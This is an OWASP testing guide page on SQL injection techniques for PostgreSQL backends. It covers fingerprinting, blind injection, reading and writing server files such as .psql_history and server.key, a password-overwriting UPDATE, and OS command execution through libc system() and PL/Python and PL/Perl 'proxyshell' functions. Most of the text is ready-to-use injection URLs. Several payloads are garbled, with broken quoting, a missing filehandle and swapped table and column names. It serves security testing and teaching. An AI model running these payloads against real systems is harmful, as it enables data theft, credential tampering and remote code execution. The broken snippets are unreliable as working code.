OWASP Backend Security Project Testing PostgreSQL

= Short Description of the Issue =

In this paragraph, we're going to describe some SQL Injection techniques for PostgreSQL. Keep in mind the following peculiarities:


 * PHP Connector allows multiple statements to be executed by using ; as a statement separator
 * SQL Statements can be truncated by appending the comment char: --.
 * LIMIT and OFFSET can be used in a SELECT statement to retrieve a portion of the result set generated by the query

From here after, we suppose that  http://www.example.com/news.php?id=1  is a vulnerable to SQL Injection attack.

= Black Box testing and example =

Identifing PostgreSQL
When a SQL Injection has been found you need to carefully fingerprint backend database engine. You can determine that backend database engine is PostgreSQL by using :: cast operator.

Examples: http://www.example.com/store.php?id=1 AND 1::int=1

Function version can be used to grab PostgreSQL banner to further more enumerare underlying operating system too.

Example:

http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version,NULL LIMIT 1 OFFSET 1-- PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Blind Injection
For blind SQL Injection you should take in consideration internal provided functions:


 * String Length
 * LENGTH(str)
 * Extract a substring from a given string
 * SUBSTR(str,index,offset)
 * String representation with no single quotes
 * CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)

Starting from 8.2 PostgreSQL has introduced a built int function: pg_sleep(n) to make current session process sleep for n seconds.

On previous version you can easy create a custom pg_sleep(n) by using libc:
 * CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

Single Quote unescape
String can be encoded, to prevent single quotes escaping, by using chr function.

* chr(n): Returns the character whose ascii value corresponds to the number * ascii(n): Returns the ascii value corresponds to the character

Let say you want to encode the string 'root': select ascii('r') 114  select ascii('o') 111  select ascii('t') 116

We can encode 'root' with: chr(114)||chr(111)||chr(111)||chr(116)

Example: http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--

Current User
Current user can be retrieved with the following SQL SELECT statements:

SELECT user SELECT current_user SELECT session_user SELECT usename FROM pg_user SELECT getpgusername

Examples: http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL-- http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Current Database
Native function current_database return current database name.

Example:

http://www.example.com/store.php?id=1 UNION ALL SELECT current_database,NULL,NULL--

Reading from a file
ProstgreSQL provides two way to access local file:
 * COPY statement
 * pg_read_file internal function (starting from PostgreSQL 8.1)

COPY:

This operator copies data between file and table. PostgreSQL engine access local FileSystem with postgres user rights.

Example:

/store.php?id=1; CREATE TABLE file_store(id serial, data text)-- /store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--

Data should be retrieved by performi a UNION Query SQL Injection:
 * retrieves number of rows previously added in file_store with COPY statement
 * retrieve a row at time with UNION SQL Injection

Example: /store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;-- /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;-- /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;-- ... ... /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--

pg_read_file:

This function was introduced on PostgreSQL 8.1 and allow to read arbitrary file located inside DBMS data directory.

Examples:


 * SELECT pg_read_file('server.key',0,1000);

Writing to a file
By reverting COPY statement we can write to local filesystem with postgres user rights as well

/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--

Shell Injection
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, tcl.

Dynamic Library
Until PostgreSQL 8.1 it was possible to add a custom function linked with libc:
 * CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since system returns an int how we can fetch results from system stdout?

Here's a little trick:


 * create a stdout table
 * CREATE TABLE stdout(id serial, system_out text)
 * executing a shell command redirecting it's stdout
 * SELECT system('uname -a > /tmp/test')
 * use a COPY statements to push output of previous command in stdout table
 * COPY stdout(system_out) FROM '/tmp/test'
 * retrieve output from stdout
 * SELECT system_out FROM stdout

 Example:

/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

plpython
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user. It's not installed by default and should be enabled on a given database by CREATELANG


 * Check if PL/Python has been enabled on some databsae:
 * ''SELECT count(*) FROM pg_language WHERE lanname='plpython'
 * If not try to enable:
 * CREATE LANGUAGE plpythonu
 * If all of the above succeded create a proxy shell function:
 * CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read 'LANGUAGE plpythonu
 * Have fun with:
 * SELECT proxyshell(os command);

Example:

return os.popen(args[0]).read’ LANGUAGE plpythonu;-- ''
 * Create a proxy shell function:
 * '' /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os;


 * Run a OS Command:
 *  /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;-- 

plperl
Plperl allow to code PostgreSQL functions in perl. Normally is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system such as open. By doing so it's impossible to gain OS-level access. To successfully inject a proxyshell like function we need to install the untrusted version from postgres user to avoid the so called application mask filtering of trusted/untrusted operations.


 * Check if PL/perl-untrusted has been enabled:
 * ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
 * If not assuming that sysadm has allready installed plperl package try :
 * CREATE LANGUAGE plperlu
 * If all of the above succeded create a proxy shell function:
 * CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",); LANGUAGE plperlu
 * Have fun with:
 * SELECT proxyshell(os command);

Example:


 * Create a proxy shell function:
 * '' /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",);' LANGUAGE plperlu;


 * Run a OS Command:
 *  /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;-- 

= References =

OWASP : "Testing for SQL Injection" - http://www.owasp.org/index.php/Testing_for_SQL_Injection

Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/

PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

= Tools =

Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net